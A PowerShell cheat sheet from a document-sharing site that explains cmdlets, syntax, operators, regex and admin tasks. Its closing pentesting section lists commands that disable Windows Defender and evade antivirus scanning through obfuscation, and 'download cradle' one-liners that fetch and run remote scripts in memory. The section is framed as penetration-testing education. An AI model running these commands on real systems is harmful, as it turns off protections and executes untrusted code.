0% found this document useful (0 votes)
80 views

Powershell cheat sheet

PowerShell is a scripting language and command-line interface designed for task automation and system management, built on the .NET Framework. It includes an Integrated Scripting Environment (ISE) for executing commands and scripts, and is available on Windows, Linux, and macOS. The document details how to use PowerShell, including commands, syntax, parameters, and operators, providing examples for effective scripting.

Uploaded by

MatteoBonino
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
80 views

Powershell cheat sheet

PowerShell is a scripting language and command-line interface designed for task automation and system management, built on the .NET Framework. It includes an Integrated Scripting Environment (ISE) for executing commands and scripts, and is available on Windows, Linux, and macOS. The document details how to use PowerShell, including commands, syntax, parameters, and operators, providing examples for effective scripting.

Uploaded by

MatteoBonino
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 17

What Is PowerShell?

PowerShell is a scripting language and command-line interface (CLI) built on Microsoft’s


.NET Framework to automate administrative tasks and manage system configurations,
analogous to Bash scripting in Linux. For all the geeks out there, PowerShell is an
object-oriented programming (OOP) language.

The PowerShell Integrated Scripting Environment (ISE) is a terminal console for running
PowerShell commands known as cmdlets (pronounced “Command-let”) and
writing/executing PowerShell scripts with the file extension “.ps1”.

PowerShell commands are case-insensitive in its native Windows environment, but that is
not true for other operating systems. Read more about PowerShell case sensitivity here.

How to Use PowerShell


PowerShell comes pre-installed on Windows and Azure, but you can install it on certain
Linux distributions through their respective package managers and on the latest macOS
version via Homebrew, direct download, or binary archives.

How to start a PowerShell instance:

Operating Action
system
Windows 1.​ Right-click Start > select “Windows PowerShell”
2.​ If you want elevated privileges, select ”Windows PowerShell
(Admin)”
3.​ Run Command Prompt (click Start > type cmd) > input
“PowerShell” and select your preferred option—with or without
“(Admin)”
Linux Raspberry Pi: In Terminal, type ~/powershell/pwsh > press Enter.

Other distributions: In Terminal, input pwsh > press Enter.


macOS In Terminal, input pwsh > press Enter.

Useful PowerShell Commands


The table below lists the most important PowerShell commands. Although PowerShell
aliases resemble Command Prompt (cmd.exe) or Bash commands, they’re not functions
native to PowerShell but are shortcuts to the corresponding PowerShell commands.

Command name Alias Description


Get-Help (None) Display help information about PowerShell
Get-Command command Get-Command (which lists all
PowerShell commands).

You may replace Get-Command with any


PowerShell command of your choice.
Get-ChildItem dir, ls, gci Lists all files and folders in the current working
directory
Get-Location pwd, gl Get the current working directory
Set-Location cd, chdir, sl Sets the current working location to a specified
location
Get-Content cat, gc, type Gets the content of the item at the specified
location
Copy-Item copy, cp, cpi Copies an item from one location to another
Remove-Item del, erase, Deletes the specified items
rd, ri, rm,
rmdir
Move-Item mi, move, mv Moves an item from one location to another
New-Item ni Creates a new item
Out-File >, >> Send output to a file.

When you wish to specify parameters, stick to


Out-File.
Invoke-WebReq curl, iwr, Get content from a web page on the Internet
uest wget
Write-Output echo, write Sends the specified objects to the next
command in the pipeline.

If Write-Output is the last command in the


pipeline, the console displays the objects.
Clear-Host cls, clear Clear console

PowerShell syntax
PowerShell is so complex and contains so many commands that you need to understand its
syntax to use it well.
Parameters
Parameters are command arguments that enable developers to build reusable PowerShell
scripts. For a command with two parameters (here, Parameter1 takes a value, but
Parameter2 doesn’t), the syntax is:
Do-Something -Parameter1 value1 -Parameter2

To find all commands with, say, the “ComputerName” parameter, use:


Get-Help * -Parameter ComputerName

The following are risk mitigation parameters that apply to all PowerShell commands:

Risk mitigation Description Example


parameter
-Confirm Prompt whether to take action. Creating a new item called
test.txt:

ni test.txt -Confirm
-WhatIf Displays what a certain command Removal of an item called
would do. test.txt:

del test.txt -WhatIf

Here’s more information about common parameters in PowerShell.

Pipes

PowerShell uses the pipe character “|” to pass the output of a series of commands to
subsequent commands as pipeline input, analogous to scripting in Bash and Splunk. For a
sequence containing three commands, the PowerShell pipeline syntax is:

Command1 | Command2 | Command3

Here is an example involving four commands:

Get-Service | Where-Object -Property Status -EQ Running |


Select-Object Name, DisplayName, StartType | Sort-Object -Property
StartType, Name

In this example, Get-Service sends a list of all the Windows services to Where-Object,
which filters out the services having Running as their Status. The filtered results pass
through Select-Object, which picks out the columns Name, DisplayName, and
StartType, and finally, Sort-Object sorts these columns by StartType and Name.
Other examples of pipes:

Command Description
"plan_A.txt" | Rename-Item Rename the file “plan_A.txt” to a new name
-NewName "plan_B.md" “plan_B.md”
Get-ChildItem | Select-Object Lists the names of all the files in the current
basename | Sort-Object * working directory, sorted in alphabetical order.

Objects
An object is a data type that consists of object properties and methods, either of which you
can reference directly with a period (.) followed by the property/method name. PowerShell
contains .NET Framework objects like other OOP languages such as C#, Java, and Python.

In the example below, we explore a Fax application .NET Framework object:

Get-Service -Name Fax | Get-Member


Fax has one or more properties. Let’s check out the Status property. It turns out that it’s
not in use:

(Get-Service -Name Fax).Status

One of the methods listed is “GetType” and we can try it out:

(Get-Service -Name Fax).GetType()

This method shows that the .NET object Fax is a ServiceController.

Variables
These are the basic commands for defining and calling PowerShell variables.

Command Description
New-Variable var1 Create a new variable var1 without defining its value
Get-Variable my* Lists all variables in use beginning with “my*”
Remove-Variable Delete the variable called “bad_variable”
bad_variable
$var = "string" Assign the value "string" to a variable $var
$a,$b = 0 Assign the value 0 to the variables $a,$b
$a,$b,$c = 'a','b','c' Assign the characters 'a','b','c' to
respectively-named variables
$a,$b = $b,$a Swap the values of the variables $a and $b
$var = [int]5 Force the variable $var to be strongly typed and only
admit integer values

Important special variables (find more here):

Variable Description
$HOME Path to user's home directory
$NULL Empty/null value
$TRUE Boolean value TRUE
$FALSE Boolean value FALSE
$PID Process identifier (PID) of the process hosting the current session of
PowerShell

Regular Expressions

A regular expression (regex) is a character-matching pattern. It can comprise literal


characters, operators, and other constructs.

Here are the rules for constructing regexes:

Regex Description
syntax
[ ] Allowable characters, e.g., [abcd] means 'a'/'b'/'c'/'d'
[aeiou] Single vowel character in English
^ 1. Use it with square brackets [ ] to denote exclusion
2. For matching the beginning of a string
[^aeiou] Single consonant character in English
$ For matching the end of a string
- Use with square brackets [ ] to denote character ranges
[A-Z] Uppercase alphabetic characters
[a-z] Lowercase alphabetic characters
[0-9] Numeric characters
[ -~] All ASCII-based (hence printable) characters
\t Tab
\n Newline
\r Carriage return
. Any character except a newline (\n) character; wildcard
* Match the regex prefixed to it zero or more times.
+ Match the regex prefixed to it one or more times.
? Match the regex prefixed to it zero or one time.
{n} A regex symbol must match exactly n times.
{n,} A regex symbol must match at least n times.
{n,m} A regex symbol must match between n and m times inclusive.
\ Escape; interpret the following regex-reserved characters as the
corresponding literal characters: []().\^$|?*+{}
\d Decimal digit
\D Non-decimal digit, such as hexadecimal
\w Alphanumeric character and underscore (“word character”)
\W Non-word character
\s Space character
\S Non-space character

The following syntax is for checking strings (enclosed with quotes such as 'str' or "ing")
against regexes:

Check for -Match Check for -NotMatch


<string> -Match <regex> <string> -NotMatch <regex>

Here are examples of strings that match and don’t match the following regular expressions:

Regex Strings that -Match Strings that do -NotMatch


'[aeiou][^aeiou] 'ah' 'lo'
'
'[a-z]+-?\d\D' 'server0F','x-8B '--AF'
'
'\w{1,3}\W' 'Hey!' 'Fast'
'.{8}' 'Break up' 'No'
'..\s\S{2,}' 'oh no' '\n\nYes'
'\d\.\d{3}' '1.618' '3.14'

Note that -Match is not concerned with case sensitivity. For that, you will want to use
-CMatch and -CNotMatch

Regex Strings That -CMatch Strings That Do -CNotMatch


'Hello world' 'Hello world' 'Hello World'
'^Windows$' 'Windows' 'windows'
'[a-z]' 'x' 'X'


Operators

PowerShell has many operators. Here we present the most commonly used ones.

In the examples below, the variables $a and $b hold the values 10 and 20, respectively. The
symbol → denotes the resulting value, and ⇔ denotes equivalence.

Arithmetic operators:

Operator Description Example


+ Addition. Adds values on either side of the operator. $a + $b →
30
- Subtraction. Subtracts right-hand operand from the left-hand $a - $b →
operand. -10
* Multiplication. Multiplies values on either side of the operator. $a * $b →
200
/ Division. Divides left-hand operand by right-hand operand. $b / $a →
2
% Modulus. Divides left-hand operand by right-hand operand $b % $a →
and returns the remainder. 0

Comparison operators:

Operator Math symbol (not Description Example


PowerShell)
eq = Equal $a -eq $b →
$false
ne ≠ Unequal $a -ne $b →
$true
gt > Greater than $b -gt $a →
$true
ge ≥ Greater than or equal $b -ge $a →
to $true
lt < Less than $b -lt $a →
$false
le ≤ Less than or equal to $b -le $a →
$false

Assignment operators:

Operator Description Example


= Assign values from the right-side operands to Assign the sum of variables
the left-hand operand. $a and $b to a new variable
$c:

$c = $a + $b
+= Add the right side operand to the left operand $c += $a ⇔ $c = $c +
and assign the result to the left-hand operand. $a
-= Subtract the right side operand from the left $c -= $a ⇔ $c = $c -
operand and assign the result to the left-hand $a
operand.

Logical operators:

Operator Description Example


-and Logical AND. If both operands are true/non-zero, then the ($a -and $b)
condition becomes true. → $true
-or Logical OR. If any of the two operands are true/non-zero, ($a -or 0) →
then the condition becomes true. $true
-not, Logical NOT. Negation of a given Boolean expression. !($b -eq 20)
! → $false
-xor Logical exclusive OR. If only one of the two operands is ($a -xor $b)
true/non-zero, then the condition becomes true. → $false
Redirection operators:

Operator Description
> Send output to the specified file or output device.

>> Append output to the specified file or output device.

>&1 Redirects the specified stream to the standard output stream.

By adding a numerical prefix to PowerShell’s redirection operators, the redirection operators


enable you to send specific types of command output to various destinations:

Redirection Output stream Example


prefix
* All output Redirect all streams to out.txt:

Do-Something *> out.txt


1 Standard output (This is the Append standard output to
default stream if you omit the success.txt:
redirection prefix.)
Do-Something 1>>
success.txt
2 Standard error Redirect standard error to standard
output, which gets sent to a file called
dir.log:

dir 'C:\', 'fakepath' 2>&1


> .\dir.log
3 Warning messages Send warning output to
warning.txt:

Do-Something 3>
warning.txt
4 Verbose output Append verbose.txt with the
verbose output:

Do-Something 4>>
verbose.txt
5 Debug messages Send debugging output to standard
error:

Do-Something 5>&1
6 Information (PowerShell 5.0+) Suppress all informational output:

Do-Something 6>$null

Matching and regular expression (regex) operators:

Operator Description Example


-Replace Replace strings Output “i like ! !”:
matching a regex
pattern $toy = "i like this toy";$work =
$toy -Replace "toy|this","!";$work
-Like, Check if a string Output all *.bat files in the current working
-NotLike matches a wildcard directory:
pattern (or not)
Get-ChildItem | Where-Object
{$_.name -Like "*.bat"}

Output all other files:

Get-ChildItem | Where-Object
{$_.name -NotLike "*.bat"}
-Match, Check if a string The following examples evaluate to TRUE:
-NotMatch matches a regex
pattern (or not) 'blog' -Match 'b[^aeiou][aeiuo]g'

'blog' -NotMatch 'b\d\wg'


-Contains, Check if a The following examples evaluate to TRUE:
-NotContains collection contains
a value (or not) @("Apple","Banana","Orange")
-Contains "Banana"

@("Au","Ag","Cu") -NotContains
"Gold"
-In, -NotIn Check if a value is The following examples evaluate to TRUE:
(not) in a collection
"blue" -In @("red", "green",
"blue")

"blue" -NotIn @("magenta", "cyan",


yellow")

Miscellaneous operators:

Command Description Example


() Grouping; override operator Computing this expression gives
precedence in expressions you the value 4:

(1+1)*2
$() Get the result of one or more Get today’s date and time:
statements
"Today is $(Get-Date)"
@() Get the results of one or more Get only file names in the current
statements in the form of arrays working directory:

@(Get-ChildItem |
Select-Object Name)
[] Converts objects to the specific type Check that there are 31 days
between January 20 and February
20, 1988:
[DateTime] '2/20/88' -
[DateTime] '1/20/88' -eq
[TimeSpan] '31'
# True
& Run a command/pipeline as a Get-Process -Name pwsh &
Windows Powershell background job
(PowerShell 6.0+)

Hash Tables

A hash table (alternative names: dictionary, associative array) stores data as key-value
pairs.

Syntax Description Example


@{<key> = <value>; Hash table (empty: @{}) @{Number = 1; Shape
[<key> = <value>] = "Square"; Color =
...} "Blue"}
[ordered]@{<key> = Hash table with ordering. [ordered]@{Number =
<value>; [<key> = 1; Shape = "Square";
<value>] ...} Color = "Blue"}

Comparing unordered and


ordered hash tables
$hash.<key> = Assign a value to a key in the $hash.id = 100
<value> hash table $hash
$hash["<key>"] = Add a key-value pair to $hash["Name"] =
"<value>" $hash "Alice"
$hash.Add("<key>", $hash.Add("Time",
"<value>") "Now")
$hash.Remove(<key>) Remove a key-value pair $hash.Remove("Time")
from $hash
$hash.<key> Get the value of <key> $hash.id # 100

Comments
Comments help you organize the components and flow of your PowerShell script.

Symbol Description Example


# One-line comment # Comment
<#...#> Multiline comment <# Block
comment #>
`" Escaped quotation marks "`"Hello`""
`t Tab "'hello `t world'"
`n New line "'hello `n world'"
` Line continuation ni test.txt `
-WhatIf
Flow Control
In the given examples, $a is a variable defined earlier in the PowerShell instance.

Command syntax Description Example


For (<Init>; <Condition>; For-loop. Print the value of $i,
<Repeat>){<Statement list>} initialized with the value 1
and incremented by one
in each iteration, until it
exceeds 10:

for($i=1; $i -le
10;
$i++){Write-Host
$i}
ForEach ($<Item> in ForEach-Object Display the file size of
$<Collection>){<Statement loop; enumeration each file in the current
list>} over Items in a working directory:
Collection.
Get-ChildItem | %
The alias for {Write-Host
“ForEach” is “%”. $_.length $_.name
The alias “$_” -separator "`t`t"}
represents the
current object.
While While-loop. In each iteration,
(<Condition>){<Statement increment $a by one and
list>} print its value unless/until
this value becomes 3:

while($a -ne 3)
{
$a++
Write-Host $a
}
If (<Test1>) {<Statement list Conditional Compares the value of
1>} [ElseIf (<Test2>) statement. $a against 2:
{<Statement list 2>}] [Else
{<Statement list 3>}] if ($a -gt 2) {
Write-Host
"The value $a is
greater than 2."
} elseif ($a -eq
2) {
Write-Host
"The value $a is
equal to 2."
} else {
Write-Host
("The value $a is
less than 2 or" +
" was not
created or
initialized.")
}

PowerShell for Administrators


PowerShell is an indispensable tool in the system administrator’s toolkit because it can help
them automate mechanical and repetitive file system jobs, such as checking memory usage
and creating backups. With task scheduling apps (such as Task Scheduler on Windows),
PowerShell can do a lot of heavy lifting.

The following table lists PowerShell commands (change the parameters and values as
appropriate) tailored to administrative tasks:

Command Description
New-PSDrive –Name "L" Set up network drives.
–PSProvider FileSystem
–Root "\\path\to\data" Specify an unused capital letter (not C:) as the
–Persist “-Name” of a drive, and point the “-Root”
parameter to a valid network path.
Enable-PSRemoting Enable PowerShell remoting on a computer.

If you want to push software updates across a


network, you need to enable PowerShell remoting
on each computer in the network.
Invoke-Command Push software updates across a network of three
-ComputerName pc01, pc02, computers pc01, pc02, and pc03.
pc03 -ScriptBlock{cmd /c
c:\path\to\setup.exe Here, /c refers to the C: drive, and the rest of the
/config cmd command is the Windows Batch script for
C:\path\to\config.xml} software installation on cmd.exe.
Get-Hotfix Check for software patches/updates
$Password = Read-Host Adding users.
-AsSecureString
The first command prompts you for a password by
New-LocalUser "User03" using the Read-Host cmdlet. The command stores
-Password $Password the password as a secure string in the $Password
-FullName "Third User" variable.
-Description "Description
of this account." The second command creates a local user account
by using the password stored in $Password. The
command specifies a user name, full name, and
description for the user account.
While(1) { $p = Monitor running processes, refreshing at some
get-counter '\Process(*)\% given interval and showing CPU usage like Linux
Processor Time'; cls; top command.
$p.CounterSamples | sort
-des CookedValue | select
-f 15 | ft -a}
Get-ChildItem c:\data -r | Creating a remote backup of the directory
% {Copy-Item -Path c:\data. To back up only modified files, sandwich
$_.FullName -Destination the following command between the dir and
\\path\to\backup} Copy-Item commands as part of this pipeline:
? {!($_.PsIsContainer) -AND
$_.LastWriteTime -gt
(Get-Date).date}
Get-Service Display the running and stopped services of the
computer. See a working example in Pipes.
Get-Command *-Service List all commands with the suffix “-Service”:

Get-Process List processes on a local computer:

Start-Sleep 10 Sleep for ten seconds


Start-Job Start a Windows Powershell background job locally
Receive-Job Get the results of the Windows Powershell
background job
New-PSSession Create a persistent connection to a local or remote
computer
Get-PSSession Get the Windows PowerShell sessions on local and
remote computers
Enable-NetFirewallRule Enable a previously disabled firewall rule
ConvertTo-Html Convert Microsoft .NET Framework objects into
HTML web pages
Invoke-RestMethod Send an HTTP or HTTPS request to a RESTful web
service

PowerShell for Pentesters


With great power comes great responsibility, and responsibilities as great as proper use of
PowerShell fall on the system administrator in charge of maintaining a computer network.
However, hackers have also used PowerShell to infiltrate computer systems. Therefore any
competent penetration tester (pentester) must master PowerShell.
PowerShell Pentesting Toolkit
Here are Windows PowerShell commands (change the parameters and values as
appropriate) and links to specialized code to help you do penetration testing using
PowerShell:

Command Description
Set-ExecutionPolicy -ExecutionPolicy Bypass In this powerful command,
“Bypass” means removing
all obstacles to running
commands/scripts and
disabling warnings and
prompts.

ExecutionPolicy myth:
If you configure it a certain
way, it will automatically
protect your device from
malicious activities.

ExecutionPolicy fact:
It’s a self-imposed fence on
PowerShell
commands/scripts by a
user, so if a malicious
PowerShell script has
caused damage, you
already have a
compromised machine.

Jeffrey Snover, the creator


of PowerShell, says:

Learn more about


ExecutionPolicy.
Invoke-command Microsoft’s Antimalware
-ScriptBlock{Set-MpPreference Scan Interface (AMSI)
-DisableIOAVprotection $true} allows antivirus software to
monitor and block
# Feed the above into https://amsi.fail to PowerShell scripts in
get the obfuscated (and runnable) version memory.

AMSI can recognize scripts


meant to bypass AMSI by
their hash signatures. So
hackers/pentesters wise
up.

A typical workaround is
obfuscation, such as
creating dummy variables
to hold values in the script
and Base64-encoding
these values. Good
obfuscation makes it
harder for AMSI to
recognize a script.

But a tried-and-tested
workaround that doesn’t
involve obfuscation is
splitting it up into separate
lines.

Therein lies AMSI’s


weakness: it can detect
entire scripts but not
anticipate whether
incremental commands
lead to unexpected results.
Set-MpPreference -DisableRealTimeMonitoring Turn off Windows
$true Defender.

# Feed the above into https://amsi.fail to This command also


get the obfuscated (and runnable) version requires obfuscation as
AMSI will identify and abort
such scripts.
Import-Module /path/to/module Import module from a
directory path
/path/to/module
iex (New-Object Download execution
Net.WebClient).DownloadString('https://[web cradle: a payload
server_ip]/payload.ps1') PowerShell script
payload.ps1.
iex (iwr Downloading a PowerShell
http://[webserver_ip]/some_script.ps1 script some_script.ps1
-UseBasicParsing) and running it from random
access memory (RAM)
iex (New-Object Download a PowerShell
Net.WebClient).DownloadString('http://[webs script some_script.ps1
erver_ip]/some_script.ps1') into RAM instead of disk
iex (New-Object Allow a PowerShell script
Net.WebClient).DownloadString('http://[webs some_script.ps1 to run
erver_ip]/some_script.ps1');command1;comman commands (command1,
d2 command2) one at a time
directly from RAM.
The next item is an
example.
iex (New-Object Run localhost’s
Net.WebClient).DownloadString('http://local PowerView
host/powerview.ps1');Get-NetComputer (powerview.ps1)
function
Get-NetComputer
directly from RAM.

Enumeration Commands
To enumerate is to extract information, including users, groups, resources, and other
interesting fields, and display it. Here is a table of essential enumeration commands:

Command Description
net accounts Get the password policy
whoami /priv Get the privileges of the currently logged-in user
ipconfig /all List all network interfaces, IP, and DNS
Get-LocalUser | Select * List all users on the machine
Get-NetRoute Get IP route information from the IP routing table
Get-Command List all PowerShell commands

You may come across PowerShell modules and scripts such as Active Directory,
PowerView, PowerUp, Mimikatz, and Kekeo, all of which pentesters use. We encourage you
to learn them independently.

Conclusion
This PowerShell cheat sheet is a brief but handy guide to navigating PowerShell, whether as
a beginner or as a seasoned administrator. If you want to learn more about PowerShell,
check out our courses on Windows Server and Azure to see it in action, and we’d love to
hear what other PowerShell functions you’d like to learn in the comments below.

You might also like